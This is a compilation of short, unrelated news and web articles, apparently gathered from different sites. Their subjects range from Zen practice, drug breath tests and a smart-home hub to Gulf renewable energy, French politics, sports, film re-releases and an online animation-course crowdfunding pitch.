kind of savoring of life.  Emma Seiki Tapley  I got into Zen because my mom was into Zen. I was 23. I went to the zendo and got very formal instruction. It felt like hell. I thought, my mom obviously wants to kill me. When is it going to be over?  I can’t remember which came first, my art or Zen. I’m becoming comfortable taking longer with my work, and as a consequence the paintings are getting better. And that comes from sitting. Slowing down. People are not into that—they appreciate it, but they’re not into it.  Randall Ryotan Eiger  I’d just had a really bad breakup with a girl and I was moping around, and my roommate said, “Read this. It’ll make you feel better.” It was Alan Watts’s The Way of Zen. When I read it I said to myself, I have no idea what this is, but this is the truth. I started reading a lot of books about Zen. I didn’t start sitting, but I did read a lot of books for the next seven or eight years.  I finally did begin my practice in 1989, and for years I was in intense pain. My body is the kind of body that doesn’t like to do that sort of thing. If someone had worked with me on the physical side of it that might have helped but no one did. After three periods of meditation I was scraping myself off the floor.  Some time in my 30s I became a therapist. Because I come from a Zen perspective I’m not interested in curing people. I just let them sit with their hellish problems. I’m fine if there’s no progress at all, because I firmly believe that it’s by going into the problem that you begin to untangle the knot.  See more of A. Jesse Jiryu Davis’ writing and photography on Lion’s Roar.
-(Joe Raedle/Getty Images)  Police might soon be able to detect more than just alcohol on their breathing test devices. A new Swedish-designed device can detect 12 different controlled substances, including methamphetamine, cocaine, heroin, morphine and marijuana.  Though most states have laws against driving under the influence of drugs, police have had no easy way of testing it on the road, so a blood or urine sample has been necessary to charge offenders. In a study published in the Journal of Breath Research Thursday, Olof Beck, of Sweden's Karolinska Institutet, detected drugs on the breath of 47 patients at a drug addiction emergency clinic.  "Considering the samples were taken 24 hours after the intake of drugs, we were surprised to find that there was still high detectability for most drugs," Beck said in a statement.  The Breathalyzer test was able to correctly detect drug use in 87 percent of cases; the test was equally as accurate as blood and urine tests, according to the study. Beck said future studies could be used to correlate breath concentrations of drugs with concentrations in urine and blood. He suggested that a breath test could be given at the scene and then confirmed with a blood test later.  "In cases of suspected driving under the influence of drugs, blood samples could be taken in parallel with breath when back at a police station," he said.  According to the Centers for Disease Control, drugs other than alcohol are involved in about 18 percent of fatal car crashes. Drunken driving accounts for about a third of all traffic related deaths, and about 1.4 million drivers are arrested for driving under the influence of alcohol each year.  "There is a possibility that exhaled breath will develop into a new matrix for routine drug testing and present an alternative to already used matrices like urine, blood, oral fluid, sweat and hair," the study says. "Since exhaled breath may be as easy to collect as in alcohol breath testing it may present a new more accessible matrix than blood at the roadside."  More News:
-EchoStar, the satellite service provider affiliated with Dish Network, is ambitiously jumping into the smart-home space with Sage, a home-automation hub aimed at consumers looking for a comprehensive, but easy-to-install do-it-yourself solution.  The feature that makes this system so interesting is that it connects in between your cable, satellite, or streaming-video set-top box and your TV, overlaying its dashboard on the screen and showing the live TV using picture-in-picture mode. There will also, of course, be smartphone and tablet apps for the system.  Product manager David Lett was a somewhat light on details—including a price tag and availability—when he gave me an embargoed briefing last month, but I liked what I heard. I was especially enthused with the part about this being a self-installable, self-monitored system that’s free from monthly subscription fees (more on that later).  Similar to the Wink Relay and the Wink Hub, the Sage houses radios for all of the most popular smart-home protocols: ZigBee, Z-Wave, Bluetooth, and Wi-Fi. Users will also be able to download updates that will add support for other protocols, such as Nest’s Thread or 6LoWPAN. So Sage should have the infrastructure to support most any type of lighting control, security camera; door, window, motion, or glass-break sensor; thermostat; or other smart-home component.  The Sage controller supports just about every home-control protocol you can think of.  Echostar will build some of these devices itself. Lett mentioned three—in addition to the hub itself—that sound pretty awesome: There’s a doorbell sensor that sends an alert to your TV and to your smartphone when someone rings the doorbell. If there’s a security camera pointed at the front door, a video stream showing the person who rang the bell will pop up on your TV.  The Sage hub will have a battery backup and a GSM module.  Lett described a battery-powered, snap-on, mechanical retrofit for existing light switches that installs without touching the AC wiring (no, I don’t understand it either). And he told me about a wired outdoor security camera that uses power-over-Ethernet, but that has a Wi-Fi module in its AC adapter. You feed its flat Ethernet cable through the window—closing the window on the cable, presumably—and plug it into the AC adapter. Video streams from the adapter to your Wi-Fi router wirelessly, and you don’t need to worry about having an outdoor AC outlet or a camera that runs on undependable battery power.  Sage could be an effective self-monitored home-security system because it provides a direct connection to your local emergency responders. "If someone breaks in," said Lett, "and is detected by a motion, glass-break, door/window sensor, me an everyone in my family will get an alert on our smartphones. If a security camera is involved, a clip of what triggered the alarm comes attached to the message. That video will pop up on the TV, too."  "If you see an intruder," Lett continued, "simply press the 'Call 911' button on the app and it will connect you with the local emergency responder. At the other end of the call, they'll see your local address on their screen, so they'l know where your house is. Because you can verify the event with video, they will send an emergency response. And the system avoids false alarms because you can verify what's happening inside the house."  The Sage hub can control lighting, door locks, thermostats, and more.  “We’ve gone to extreme measures to make the system easy to install and easy to use,” said Lett. “We developed a conversational rules engine that asks you questions about what you want to accomplish.”  But Echostar doesn’t intend to entirely reinvent the wheel. The company also plans to operate a certification program to ensure that third-party products meet its requirements for performance, security, and interoperability.  The Sage hub will have a battery backup and a GSM module, so that it will remain able to send alerts to your smartphone in the event of a power outage or if a burglar cuts the phone or cable-TV line that you use for Internet service. This all sounds like a lot of service and infrastructure for EchoStar to support without an ongoing revenue stream, so I pressed Lett on this point. He reiterated that there would be no monthly service fee—unless the customer signed up for some optional services, such as purchasing cloud storage for additional video for the security cameras. “We’re still trying to figure that out,” he said.  I'll continue to report on Sage as EchoStar does that. It's a very interesting product.
-Renewable-energy projects worth billions of dirhams are making the leap from conception to construction to completion across the region. Shams 1 came online last year in Al Gharbia, and projects in Abu Dhabi and Dubai should be up and running by 2017.  The UAE is leading the Arabian Gulf region in renewables projects, driven by ambitious targets to diversify the energy mix in Abu Dhabi and Dubai.  Across the region, governments are undertaking these renewables projects to free up oil and gas for export and use in other industries, and to meet rising demand for power and water.  These plans, and the issues that underlie them, are sure to come up for discussion and analysis at the World Future Energy Summit, which runs tomorrow through Wednesday in Abu Dhabi.  The total value of renewables projects and master plans, either completed or under execution, in the GCC states is US$4.5 billion, split between $1bn for hydro projects (all of which are in Saudi Arabia) and $3.5bn for solar, according to figures from Meed Projects.  The UAE is currently the biggest renewables market in the GCC with $1bn worth of projects under execution or operational.  Looking ahead, the total value of projects and master plans due for award between now and 2025 is $162bn, with the biggest long-term market being Saudi Arabia.  Kuwait, Qatar and Oman also are undertaking important projects to produce clean energy.  “Usage of renewables would present multiple benefits to these countries, the highest ranking being the ability to reduce dependence on hydrocarbons,’’ said Abhay Bhargava, the regional head of energy and power systems at the consultancy Frost & Sullivan.  “Additional benefits are the potential to develop a local industry, freeing up of hydrocarbons for usage in industry or other applications like refining, employment benefits and industry development through the creation of a new industry.’’  In the UAE, Abu Dhabi is leading the renewables drive with a target to derive 7 per cent of its energy from renewables by 2020. The capital is also home to the International Renewable Energy Agency (Irena), the multilateral organisation set up in 2009 to promote renewables.  Abu Dhabi has also set up the green-energy firm Masdar, which is building a low-carbon, zero-waste city and has a number of renewable energy projects in the UAE and abroad.  Last year, Masdar and its partners – the French energy company Total and the Spanish energy-infrastructure company Abengoa – launched the 100-megawatt (MW) concentrated solar power (CSP) plant Shams 1 in the UAE’s Western Region, Al Gharbia.  Shams 1 generates enough electricity to power 20,000 homes in the UAE.  This is Masdar’s second solar plant, after launching a 10MW solar photovoltaic (PV) power plant to provide electricity to Masdar City, with excess power fed to the Abu Dhabi grid.  Masdar is awaiting approval from the Abu Dhabi Executive Council to go ahead with a 100MW solar PV plant in Abu Dhabi. Masdar might also build a 30MW wind farm on Sir Bani Yas island.  CSP plants produce power by concentrating sunlight, usually through mirrors that heat liquids and generate steam to run turbines for power generation. PV plants use solar panels, which convert sunlight directly to electricity.  “PV is a proven technology for investors and very quick to install,” said Gus Schellekens, Middle East sustainability leader, and Hannes Reinisch, senior manager for sustainability and renewables, at PricewaterhouseCoopers.  “From a cost point of view, PV technologies have shown the largest reduction in overall installed cost, and can be developed to meet a particularly type of need, eg as a utility scale solar farm to deliver power during the day meeting peak demand in the UAE and more widely across the GCC,.  “You don’t build small CSP plants, you tend to build larger [50MW-plus] CSP plants. CSP also provides you with the opportunity for storage and as a result can fulfil a very different need to PV.’’  In addition to its local projects, Masdar has stakes in a number of renewable projects around the world, including the world’s largest offshore wind farm, the 630MW London Array.  Back in Abu Dhabi, the government-owned energy company Taqa is building a waste-to-energy power plant to convert 1 million tonnes of municipal solid waste into 100MW of power, with completion expected by 2016 or 2017.  In Dubai, the Government has announced plans to generate 5 per cent of its power from renewables by 2030. To meet these needs, the emirate is building the Dh10bn Mohammed bin Rashid Solar Park, which is forecast to generate 1,000MW. The first project in the park is a 13MW solar PV plant, the biggest such facility in the Middle East and North Africa, according to Dubai Electricity and Water Authority (Dewa). First Solar, the biggest US-solar panel manufacturer, built the facility, which is to be followed by a 100MW solar plant.  “We floated the tender to assign advisers and consultants. We expect to go to the market in the second quarter of 2014 to get the bids,’’ for the 100MW plant, said Waleed Salman, Dewa’s executive vice president for strategy and business development  The plant is being built in partnership with the private sector as an independent power plant project, with an expected private sector stake of 49 per cent. Completion is expected by 2017.  In the park, there will also be a research and development centre and an innovation centre, as part of plans to allow manufacturers of solar panels to test their products.  “We look at this programme as a major programme toward implementing renewable energy in the region in an economic way,’’ Mr Salman said. “We are building the road map to it. Part of it will be the test facility that will enable all the manufacturers to come and put their small units, connect them to the grid to see the behaviour and performance of their panels on that site.’’  Dubai is also looking at waste-to-energy and will assess its economic feasibility, he said.  Dubai wants not just to generate power from solar, but also to build an industry around it and will encourage manufacturers to set up facilities for this purpose.  “Manufacturers are waiting to see the projects, and if they see there is a demand, they will move. Looking at the region today, the UAE, Saudi Arabia, Qatar, Kuwait, they all have announced that renewable projects will be a big part of their whole energy mix,’’ said Mr Salman. “When the manufacturers see this become a reality and there are projects on the ground, this will encourage them to start moving toward the region.’’  business@thenational.ae
-Getty Images  The Ravens have only had left tackle Eugene Monroe on the field for a few plays this season, but it sounds like that should change when they take on the Browns this weekend.  Monroe was a full participant in practice on Wednesday for the first time since suffering a concussion on Baltimore’s first offensive possession. Monroe has missed the last three weeks while waiting to get cleared through the concussion protocol, but feels like he’s on track to resume his role on Joe Flacco’s blind side this weekend.  “You can’t really control being injured,” Monroe said, via ESPN.com. “I had some things happen that are just unfortunate, both last year and this year. I’m healthy now and preparing for this game on Sunday. That’s all that matters.”  The Ravens will be trying for a second straight win when Cleveland comes to town on Sunday, a goal that should be a bit more attainable with Monroe in the lineup.
-If you've got a mean underhand throw or know someone who does, now is the time to stack your team. There's one week left to register for the Adult Softball Program in South Bend.  It’s a great way to get your friends, family or co-workers together for some fun or competition.  Men's and coed softball teams can sign up to play at the Byers Softball Complex in South Bend.  There are normally around a hundred teams in the adult softball fall leagues.  You don't have to live in South Bend to register; players come from all over Michiana.  The deadline to register is Tuesday, August 8th. Teams can register at the O’Brien Recreation Center in South Bend, 321 E. Walter St, or at the Byers Softball Complex office, 1300 S Mayflower Rd  Teams should have 15 men or co-ed players. Teams are separated into recreational and competitive leagues. South Bend Venue Parks & Arts say they try to keep it fun for teams of all skill levels.  “Teams will come in and they'll want to play in recreation and they play and they blow out teams out here, but the next year we move them up because if it's recreation that means that they're playing for fun,” says athletic supervisor Ray Comer.  The entry fee for teams is $265 for teams that play single games, around 6 games per season, and the player participation fees is an additional $110 per team.  South Bend Venue Parks & Arts is also inviting the kids to come out and register for their fall youth flag football teams. Children don’t need to be experienced, everyone is welcome.  Boys and girls age 6 - 12 can be signed up for youth flag football at the O’Brien Fitness Center. The deadline is August 26th and the first game is September 16.  Games are at the O’Brien Fitness Center in every Saturday. They normally have 10 teams dived by age groups and it great way to get young kids introduced to the sport.
-Much of northern China has been shrouded in heavy smog since the beginning of December, prompting nine cities to issue red alerts, and affecting at least another 50 cities across seven provinces.  This latest smog attack triggered the first use of the so-called unified warning system by the local governments in China’s national capital region, which includes Hebei province and the municipalities of Beijing and Tianjin.  The system, announced in October, is designed to unify the grading standards for heavy pollution warnings and tighten the rules on pollutant emissions.  On Saturday, the air quality index (AQI) in the northern Chinese city of Shijiazhuang, Hebei province, exceeded 500 — the maximum reading — and remained there until Monday.  According to U.S. Environment Protection Agency standards, AQI levels above 150 are considered unsafe.  See smog-covered Shijiazhuang through a 72-hour time-lapse video. By Quan Yi  Shijiazhuang is one of the most severely polluted cities in China. From Friday, the AQI rose steadily from around 100 to 500 in three days’ time, and measurements of PM 2.5 – small pollution particles that are especially harmful because they can enter the bloodstream – were as high as 736 micrograms per cubic meter.  By comparison, the highest AQI recorded in Beijing over the same 72-hour period was 454, and the highest PM 2.5 reading was 431, according to Aqistudy.cn, a weather data website operated by a nongovernmental organization.  Shijiazhuang was among the 10 most polluted cities in China in 2015, according to the country’s Ministry of Environmental Protection. In 2013, the city had 322 days of polluted air, and it remained atop a list of cities with poor air quality for a staggering 11 months, according to statistics from the China Meteorological Administration.  Shijiazhuang’s energy-intensive industries are to blame for its unenviable reputation, says Wang Luguang, chief engineer of Hebei’s Environmental Protection Agency. According to public data, the burning of fossil fuels, especially coal, accounts for up to 70 percent of the city’s air pollution. Additionally, a three-year urban renovation project begun in 2008 resulted in massive construction sites that produced vast clouds of dust. The rapid growth of car ownership in Shijiazhuang is another factor that has contributed to the city’s pollution, Wang says.  The poor air quality has also led to an increase in hospital visits, especially from children, many of whom have developed pneumonia, according to a local media reports.  It appears the smog blanket is now spreading to other parts of the country. More than 20,000 travelers were delayed at Chengdu Shuangliu International Airport in southwestern Sichuan province on Sunday.  Meanwhile, all schools in Shanghai suspended outdoor activities on Monday, when AQI readings in the city reached 227.  Correction: Shijiazhuang’s AQI reached 500 on Saturday, not Friday as originally reported.  (Header image: The Shijiazhuang skyline enveloped by smog, Hebei province, Dec. 2, 2016. Quan Yi/Sixth Tone)
-Benoit Hamon, riding to victory from left-wing obscurity on a radical proposal to a pay all adults a monthly basic income, will be the Socialist Party candidate in France's presidential election after handily beating ex-Prime Minister Manuel Valls in a primary runoff vote on Sunday.  Hamon's win sends the divided Socialists, weakened by the chronic unpopularity of outgoing President Francois Hollande, into a tough presidential battle behind a candidate with limited government experience and hard-left politics that could alienate some center-left Socialist voters.  With ballots counted at 60 percent of polling stations, Hamon had almost 59 percent of the vote to Valls' 41 percent. Valls immediately conceded defeat in the face of the result that appeared like a clear sanction of both his and Hollande's polices.  With the ruling party having settled on its candidate, the race for the presidential Elysee Palace begins in earnest, although the outcome of the two-round general election vote in April and May looks increasingly uncertain.  Leading conservative candidate Francois Fillon, who also previously served as prime minister, was rocked during the past week by allegations that his wife, Penelope, held a fake but handsomely paid job as a parliamentary aide. Financial prosecutors are investigating.  At a campaign rally in Paris on Sunday -- where a boisterous crowd gave Penelope Fillon a standing ovation and chanted her name, Fillon said, "We have nothing to hide."  "Through Penelope they are trying to break me," he said. "I will never forgive those who chose to throw us to the wolves."  A priority for Hamon, a 49-year-old former junior minister and, briefly, education minister, will be to rally the Socialists, split ideologically and wounded by Hollande's five-year tenure as president.  The party is also squeezed by rivals on both flanks. Fiery far-left leader Jean-Luc Melenchon and centrist Emmanuel Macron, Hollande's former economics minister, are both making hay by appealing to disappointed Socialist voters.  Early polling has suggested the Socialist candidate will struggle to advance to the presidential runoff in May, where far-right leader Marine Le Pen could be waiting, campaigning on anti-Europe, anti-immigration and anti-Islam themes.  The turnout on Sunday, at around 2 million voters, was more robust than in the primary's first round of voting a week ago, but still suggested a lack of enthusiasm among the 44-million French electorate. The primary was open to all voters who paid 1 euro ($1.04).  Hamon wasn't as tainted as Valls by Hollande's unpopularity because he rebelled and quit the government in 2014.  Valls served as Hollande's prime minister for more than two years until last December, when it became clear the president couldn't win a second term. But having to defend the government's economic policies and labor reforms against Hamon proved an uphill fight.  Hamon's signature proposal for a 750 euros ($800) "universal income" that would be gradually granted to all adults also proved a campaign masterstroke. It grabbed headlines and underpinned his surprise success in the primary's two rounds of voting, first against six opponents and then against Valls in the runoff.  Sharply criticized by Valls as unrealistic and ruinous, the no-strings-attached payments would cushion the French in an increasingly automated future, as machines take their jobs, according to Hamon.  He proposes a tax on robots to help finance the measure's huge costs -- by Hamon's reckoning, at least 300 billion euros ($320 billion) if applied to more than 50 million adults.  Hamon also proposes legalizing cannabis and allowing medically assisted deaths.  First-time voter Maayane Pralus said Hamon "has a lot of the youth vote with him, which is sick of the old politics."  "People call him utopian, but that's the politics we've been waiting for," the 18-year-old student said.  Valls, 54, emphasized his government experience. He was prime minister when gun and suicide-bomb attacks killed 147 people in Paris in January and November 2015, and still in office in July 2016 when a man drove a truck into crowds in Nice, killing 86 people.  Such are the left's divisions that some Valls supporters may now shift to Macron's independent run for the presidency.  In such a complex political landscape, some voters cast ballots strategically.  Bernard Biassette, 74, a retired bank worker, voted for Hamon only to eliminate Valls, whom he saw as a greater threat to his hoped-for president -- Macron.  Hamon "is throwing money out of the window," Biassette said. "He's not a serious candidate."
-The Manitoba Canadian Royal Mounted Police are on the lookout for two men who robbed a beer store in Russell, Manitoba on August 15.  It's not an unusual crime, until you factor in the one guy wearing a full hockey goalie uniform AND carrying a stick.  Per the Ottawa Citizen, the men were captured on store surveillance shattering the front door of the store and making off with several cases of beer. The “goalie” wore a No. 17 jersey, a blocker pad and a trapper mitt.  Article continues below ...  Nothing about this makes sense. Why do you wear all that? Why have a trapper mitt and a stick when you have to carry things? Finger prints? That's the only quasi reason I can think of.  Anyways, the RCMP are looking for help from anyone who has a lead or has “played against a goalie matching this description.”  And now, a question: Is this the most Canadian crime? I'm not a historian, but it has to be up there.  Dan is on Twitter. Goalie crime is up and no one is talking about it.
-Paramount Pictures has announced they will be releasing Forrest Gump in IMAX theaters for a one-week run to celebrate the film’s 20th anniversary. The film has been digitally re-mastered for the IMAX format and released domestically starting September 5th 2014. Later in the month, the film will hit home video in a special Diamond Luxe Blu-ray release from Warner Bros. Home Entertainment on September 30th. Read the full press Forrest Gump IMAX release after the jump.  Forrest Gump IMAX Press Release  FORREST GUMP CELEBRATES 20TH ANNIVERSARY WITH EXCLUSIVE ONE-WEEK IMAX® RELEASE ON SEPT. 5  LOS ANGELES – July 21, 2014 – IMAX Corporation (NYSE:IMAX; TSX:IMX), Paramount Pictures, a division of Viacom, Inc. (NASDAQ: VIAB), and Warner Bros. Home Entertainment today announced that Robert Zemeckis’ Academy Award® Best Picture-winning Forrest Gump will get an exclusive one-week IMAX® re-release, coinciding with the 20th anniversary of the film’s original theatrical release in 1994. The film will be digitally re-mastered for the immersive IMAX® format and released domestically by Paramount Pictures in IMAX® theatres starting September 5.  Forrest Gump, which won six Academy Awards including Best Actor (Tom Hanks) and Best Director, will also receive a special Diamond Luxe Blu-ray release from Warner Bros. Home Entertainment September 30. The Diamond Luxe edition features a new sleek and durable collector-style packaging, with a state-of-the-art sophisticated design.  “As a ground-breaking achievement in both cinematography and visual effects for its time, Forrest Gump has become a modern American movie classic,” said Greg Foster, Senior Executive Vice President, IMAX Corp. and CEO of IMAX Entertainment. “We’re thrilled to once again collaborate with our longtime friends and partners Bob Zemeckis, Tom Hanks and Paramount. This film deserves a platform like The IMAX Experience® to help make its 20th anniversary one to remember.”  “On behalf of the entire Forrest Gump family, it is with great pleasure and pride that we bring Forrest Gump back to the big screen using the latest technology for the ultimate IMAX experience,” said producer Wendy Finerman.  Originally released in theaters by Paramount Pictures, Forrest Gump stars Hanks in the title role, a man who — despite his sub-normal IQ — led an extraordinary life, with a ringside seat to many of the most memorable events of the second half of the 20th century. The award-winning film went on to gross more than $675 million at the global box office, of which nearly $330 million came from North America, making it the highest-grossing film of all time when it was released in 1994.  The film also stars Robin Wright, Sally Field and Gary Sinise in his Oscar-nominated role as the cantankerous Lieutenant Dan.  The IMAX release of Forrest Gump will be digitally re-mastered into the image and sound quality of The IMAX Experience® with proprietary IMAX DMR® (Digital Re-mastering) technology. The crystal-clear images, coupled with IMAX’s customized theatre geometry and powerful digital audio, create a unique environment that will make audiences feel as if they are in the movie.  About Paramount Pictures Corporation  Paramount Pictures Corporation (PPC), a global producer and distributor of filmed entertainment, is a unit of Viacom (NASDAQ: VIAB, VIA), a leading content company with prominent and respected film, television and digital entertainment brands. Paramount controls a collection of some of the most powerful brands in filmed entertainment, including Paramount Pictures, Paramount Animation, Paramount Vantage, Paramount Classics, Insurge Pictures, MTV Films, and Nickelodeon Movies. PPC operations also include Paramount Home Media Distribution, Paramount Pictures International, Paramount Licensing Inc., and Paramount Studio Group.  About Warner Bros. Home Entertainment Inc.  Warner Bros. Home Entertainment (WBHE) brings together Warner Bros. Entertainment’s home video, digital distribution and interactive entertainment businesses in order to maximize current and next-generation distribution scenarios. An industry leader since its inception, WBHE oversees the global distribution of content through packaged goods (Blu-ray Disc and DVD) and digital media in the form of electronic sell-through and video-on-demand via cable, satellite, online and mobile channels, and is a significant developer and publisher for console and online video game titles worldwide. WBHE distributes its product through third party retail partners and licensees, as well as directly to consumers through WBShop.com and WBUltra.  About IMAX Corporation  IMAX, an innovator in entertainment technology, combines proprietary software, architecture and equipment to create experiences that take you beyond the edge of your seat to a world you’ve never imagined. Top filmmakers and studios are utilizing IMAX theatres to connect with audiences in extraordinary ways, and, as such, IMAX’s network is among the most important and successful theatrical distribution platforms for major event films around the globe.  IMAX is headquartered in New York, Toronto and Los Angeles, with offices  in London, Tokyo, Shanghai and Beijing. As of March 31, 2014, there were 840 IMAX theatres (707 commercial multiplexes, 18 commercial destinations and 115 institutions) in 57 countries.  IMAX®, IMAX® 3D, IMAX DMR®, Experience It In IMAX®, An IMAX 3D Experience®, The IMAX Experience®, IMAX Is Believing® and IMAX nXos® are trademarks of IMAX Corporation. More information about the Company can be found at www.imax.com. You may also connect with IMAX on Facebook (www.facebook.com/imax), Twitter (www.twitter.com/imax) and YouTube (www.youtube.com/imaxmovies).
-Posted 8 years ago / Views: 13,732  Winged cats have been known to exist since the 19th century, but only a handful of people have actually seen, let alone owned one. This woman in Sichuan province watched as her beloved kitty grew angel wings on his back last summer after a bunch of female cats tried to mate with him. "Many female cats in heat came to harass him, and then the wings started to grow", she said.  1 / 4  Geneticists have a less romantic theory. They believe it could be a genetic defect, a skin condition, or the result of poor grooming. Yet this is not the only cat that has been found to have "wings". Here are a few other examples.  2 / 4  3 / 4  4 / 4
-Photo: Masixole Feni  A Zimbabwean passport (file photo).  Harare — Zimbabwe said Wednesday it is expecting more women who were trafficked to Kuwait to come back home.  Zimbabwe learnt last year that an estimated 200 Zimbabwean women were stranded in Kuwait after falling victim into human trafficking schemes.  Since then, 128 women have been returned to Zimbabwe. They had been lured to the Arab country after being promised lucrative jobs only to be turned into slaves by their employers.  The Zimbabwean government said the women were recruited by friends and relatives. While in Kuwait, the women were subjected to harsh working environments and suffered physical abuse.  The first group of 32 women was repatriated in April 2016 while the latest group arrived back in the country in May.  Permanent Secretary in the Ministry of Public Service, Labour and Social Welfare Ngoni Masoka said more women were still expected back in the country from Kuwait.  "It is worth mentioning that more women are still expected to come as more awareness is raised with the support of the Zimbabwean Embassy in Kuwait," the permanent secretary said while addressing a parliamentary committee Wednesday.  To reduce vulnerabilities that may push victims back into being trafficked, the International Organization of Migration in partnership with the ministry had sourced funding for provision of medical and psycho-social support to the identified victims, Masoka said.  "The first hundred returnees have submitted project proposals that will be funded to a maximum of 1,500 dollars each to start income generating projects," he said.  Xinhua
-Edit: Since this question has come up so much- no, these are not direct quotes from Miyazaki- I read, listened to, and and watched many, many interviews of Miyazaki, and the words in my comic are paraphrases/translations/simplified summaries of all of the notes that I took on the things that he said during the interviews. Due to the constraints of the assignment, I was challenged to find a way to word and present his whole philosophy in five short pages. I took careful, and much-considered artistic liberties when creating the narrative of this comic, and all decisions were made based upon the importance of maintaining cohesiveness between statements, so that Miyazaki's message and philosophy would be well-translated, and clearly understood through my comic.--------------For my visual narratives class we had to make a five page comic that told the story/a story of a famous person's life. I chose to do Hayao Miyazaki, and instead of doing a direct sroty about him, I chose to do a telling oh his philosophy about life- beliefs that he has gathered through his life and now incorporates into his movies.The whole comic was done using ink- no pens, just nibs and brush, and all shaded was done with ink washes.I had never used ink (besides micron pens) until now, so it was a bit daunting, but it turned out to be pretty fun!Page 2: [link]
-Paul Scholes insists Jose Mourinho should partner Paul Pogba with Michael Carrick to get the best out of the Frenchman.  Since his transfer from Juventus as the world’s most expensive player, Pogba has made a steady start, but hasn’t been able to live up to the expectations of fans.  He is still adapting to life under Jose Mourinho but fans on social media felt he was starting to look lost in his free role at the centre of the park.  Speaking about his talent, Scholes claims Carrick could replicate Pogba’s relationship with Pirlo and Marchisio.  “He’s not the greatest controller of a football game,” he said.  “You have to remember he came from a brilliant team at Juventus. Andrea Prilo and Claudio Marchisio could control the game and let him go and do his thing.  “I would like to see Carrick with him. He can direct him and tell him where to go.”  Pogba has been criticised by pundits for his positional discipline, as he is always looking to get forward which can often leave United’s defence exposed.  Carrick has not featured for Man United since the Community Shield, but we could see him in action this month with a busy schedule ahead.  Mourinho played Pogba further forward against Feyenoord, but his positional change came as a result of Wayne Rooney being left at home to rest for the Watford fixture.  The Portuguese boss will need to work out what he wants from his midfield, but having too many players can never be a negative as he now has different options to counter his opposition.
-The Goal - You're creating amazing interactive animations  You will come away from these courses excited and passionate about creating high quality rich animations. You don't need any background besides basic HTML/CSS as we will teach you programming starting in course #1 where you will learn JavaScript through animation. Bring joy to your life, Line up your pockets with a skill that is always in demand and empower yourself with the endless opportunities creative developers have.  By joining our complete bundle of courses you will be empowered with everything you need to know from beginner all the way to a skilled animation developer. These courses will excite you and motivate you to create a high quality Rich animations and if for variety of outputs fitting for HTML5, JavaScript, Flash banners, Desktop applications, IOS and android apps using the GSAP JavaScript and AS3 library.  Stretch Goals:  $5,000 - extra samples in all courses.  $10,000 - Extra Surprise Bonus course for all supporters In January.  $15,000 - 2 Live Q&A Sessions for supporters of full bundle  The courses in this bundle:  Course 1:  Learning JavaScript through Animation  Target Student: New to code with light HTML/CSS background.  Retail Price: $199  Learning better is better. You want to be challenged, You need to be challenged but that does not mean it can't be fun. Forget about boring technical jargon. Visually stimulating experiences is the answer. The logic is simple: when you enjoy coding, you code more. It inspires you to push yourself and in the process you learn more and enjoy it as you're rewarded immediately when you're developing your skills through amazing animations.  Instead of reading a massive coding bible(and giving up on page 12) wouldn't it be wonderful if you could turn programing into a fun animation project? Fun always makes things easier, Even when they're challenging. If you ever had a dream to program or to animate this is a must course for you. read more.  Course 2:  Animating in JavaScript better, is better  This course is for students that already know some JavaScript but have limited background in animation. In this course you will discover the TweenLite and TweenMax animation libraries, you will learn the differences between them and how to maximize them to create stunning interactive animations. By the end of this course you will have the skills needed to create web interactive animations.  Target Student: Knows JavaScript no/light animation skills.  Retail Price: $149  Course 3:  Advanced JavaScript Animations  This course will fit animators/developers that are already familiar and comfortable animating with the TweenLite/TweenMax libraries. Through this course you will learn about the usage of nested animations and creating Timelines for more advanced animations. We will create together complex animation tasks and break them down to simple concepts that will help you become a better developer. By the end of this lesson you will have all the skills needed to create complex interactive timeline animations.  Target Student: Knows JavaScript & how to work with TweenLite/TweenMax.  Retail Price: $149  Course 4:  Animating ads with TweenNano(AS3)  This is the starting point for animation in Adobe Flash using TweenNano. By the end of this course you will have the foundation understandings of how to animate with the GSAP library. We will cover the main animation methods, properties and callbacks. By the end of this course you will be capable of creating your own Ad animations.  Target Student: Lite AS3 or JavaScript background.  Retail Price: $49  Course 5:  The TweenLite and TweenMax Master Class(AS3)  This course will go through all the critical components of TweenLite and TweenMax with live examples that will showcase how to leverage these libraries to their max. This course is jam packed with many examples and illustrations to showcase how to take advantage of the features backed in these libraries.  Main Topics: TweenLite, Plugins, Animating non visual elements, Animating Sound, creating custom animations, tricks and tips to improve your animations and more.  Target Student: Lite AS3/JavaScript background with basic animation skills.  Retail Price: $149  Course 6:  The TimelineLite and TimelineMax Master Class(AS3)  This course will go through all the critical components of TimelineLite and TimelineMax with live examples that will showcase how to leverage these libraries to their max. This course is jam packed with many examples and illustrations to showcase how to take advantage of the features backed in these libraries.  Target Student: AS3 developers with with animation skills.  Retail Price: $149  Why programing animation is critical for everyone.  One of the most critical skills in the modern world is the capability to analyze and to visualize information. The most successful people in all industries have a sharp eye for analyzing information but yet have a very visually fluid process of thinking. We are all born with these latent capabilities. These features are inside each and every one of us but need to be nurtured for them to strengthen.  We think programmatic animation is one of the most fun, creative and powerful ways to engage your mind and at the same time create content that will stand out on the web.  One of our most popular courses is our HTML with Mom – where I grabbed my mom that barely know how to check her emails and taught her HTML. Check out some of our other projects on 02skills.com  We think learning should be fun and engaging for example our project from last year when My mom joined me to learn HTML – Check that intro out to see our style.  Why learn with us?  Learning is about being part of a community  We know that learning a new skill is hard so we make it easier by making it easier for you to connect with other students learning the same thing at the same time. We integrated commenting in every area of the site to make it easier for you to interact with other students and with us. We have unlimited live support. We will never give up on you, we will be with you until you get it.  Our motto is “learning better is better”. In the age of twitter and social media most modern online education content assumes a lot about the user. We do our best to simplify and make complex topics really simple and fun. So far we created 103 courses over the last 3 years. Our videos have been viewed over 1,000,000 times, we have 15,000 students and just crossed our 1000 4-5 star review line.  Over the years we created many topics but most of them have never been published and are only available for our 02GEEK members. We didn't publish them because the costs associated with publishing content on the web: creating the art work, editing, promos, networking, ads and so forth. As such until now we only published courses we knew would sell well while courses we couldn't invest the capital in promoting them we kept as exclusive content for our members.Our goal is to publish our content and have it on 02skills.  Thanks & giving 5% back  Thanks for believing in us and helping us cross our goal as our way to thank back the KickStarter community we will be kicking it foreword and investing 5% of our income back to projects of the community. We want to thank KickStarter as well for making us a Staff Pick.  About us:  We are not funded by any large cooperation nor do we have ambitions to take over the world. Our goal is to make highly complex technical topics accessible to Developers, designers and Startups. Our main method is through detailed engaging video lectures, live events and interactive applications.  The 6 courses will be available for our members on 02geek and will be sold separately on 02skills our Online market place for our courses.  You will come away from these courses excited and passionate about creating high quality rich animations. You don't need any background besides basic HTML/CSS as we will teach you programming starting in course #1 where you will learn JavaScript through animation. Bring joy to your life, Line up your pockets with a skill that is always in 